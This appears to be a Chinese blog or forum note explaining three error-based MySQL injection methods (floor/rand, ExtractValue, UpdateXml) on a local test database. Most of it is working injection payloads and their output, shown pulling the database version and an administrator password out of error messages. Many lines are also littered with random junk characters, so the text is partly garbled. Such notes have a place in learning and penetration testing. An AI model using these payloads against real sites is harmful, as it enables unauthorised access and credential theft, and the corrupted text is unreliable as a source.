关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
" V( C! L  V6 M8 S: j* v: [​

mysql> show tables;
+----------------+
* R5 ?$ X! u" p| Tables_in_test |
. T' I- ?0 k: m0 E+----------------+
| admin          |
) l; c* g% b6 W" {) p9 n: ]| article        |
+----------------+



4 l$ e8 c& U  z2 a$ Nmysql> describe admin;
/ f2 ^4 {+ b# F1 s# g+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
) a) W! P  k2 A" H$ _2 ~" j+-------+------------------+------+-----+---------+----------------+
7 P" b+ D1 l7 Y5 |* \! d| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
! \/ s, T1 S7 @: o; R& x
9 d; X1 u2 e. E% x! M3 U

6 l4 V: n, \* A! S( X: g% Tmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
/ ^, o- s5 d7 {. J; O$ z! B! M/ }9 S1 Y| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
4 [. u" C" ?: Z8 Z6 S! q) c2 _| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
$ q5 s6 c# l! e  T! P| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
7 e6 ^, _9 ^. A, e8 I1、通过floor报错
1 O9 O( c' y; p& n( O/ D+ b可以通过如下一些利用代码


: G" v$ z! o( Q" K" \, ]6 ]2 g( Wand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
4 z, R) v) P' M, `
6 U) R" L' s& f' @( t% Q- Q
) f: Z. d* I4 |" Wand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
) n/ t5 l  y- F首先进行正常查询：
1 `* c! w0 B, c# j
3 ^8 V" c/ s) O) tmysql> select * from article where id = 1;
+----+-------+---------+
$ Q' c4 z- k* I# e| id | title | content |
3 q" ~  ]" J* e% ?1 `+----+-------+---------+
3 ^5 I) [0 f- o' `5 W|  1 | test  | do it   |
/ d1 r6 @0 V: {. ^+----+-------+---------+
. |0 D3 o2 ~% O! k假如id输入存在注入的话，可以通过如下语句进行报错。
1 t) b" q' v1 J% F! p" o/ h
5 F  T: F/ E& d6 ?" \2 q. d
9 f4 @8 E/ J0 o, m5 A' G& U& \mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( o  |' r1 y* j: CERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
8 x2 ^4 W, ]; S5 e: h, p- AMethod1:

( }- N5 t: O3 s# Q# T8 K
mysql> select * from article where id = 1 and (select 1 from
& l( p7 d. B3 J+ N(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
) \" F5 q% N9 y) Pfrom information_schema.tables group by x)a);
: u6 {& b' z9 w1 [3 X, ^% u5 jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- v5 @8 I$ C3 W# B3 hMethod2:


mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
8 k" A% \  G* s7 p7 |" L- pERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
3 F$ j3 g; p' c8 {# g( [0 f+ F7 m1 S+ M2、ExtractValue
9 D5 i2 D7 [  I7 ^测试语句如下

6 b8 N# _% x3 x' ?
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


/ F5 p0 k9 J4 X$ i5 Imysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
; f& ^) i) @# a) W* j测试语句
( M4 [& O# q! R& e& M, f! w5 k

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
6 B' f7 m* n( M' ?, C3 c实际测试过程

) |9 `' u1 F  R. V. B
- d3 w2 r- I& w9 S5 V) K  j8 vmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 i9 t0 h& W7 u8 |) n* @) ](select pass from admin limit 1),0x5e24),1));
9 w8 c! k' l' F2 W9 _; gERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
  d  f4 ^2 V0 [7 n0 T; MAll, thanks foreign guys.

​
& a& {- ]  o. x$ y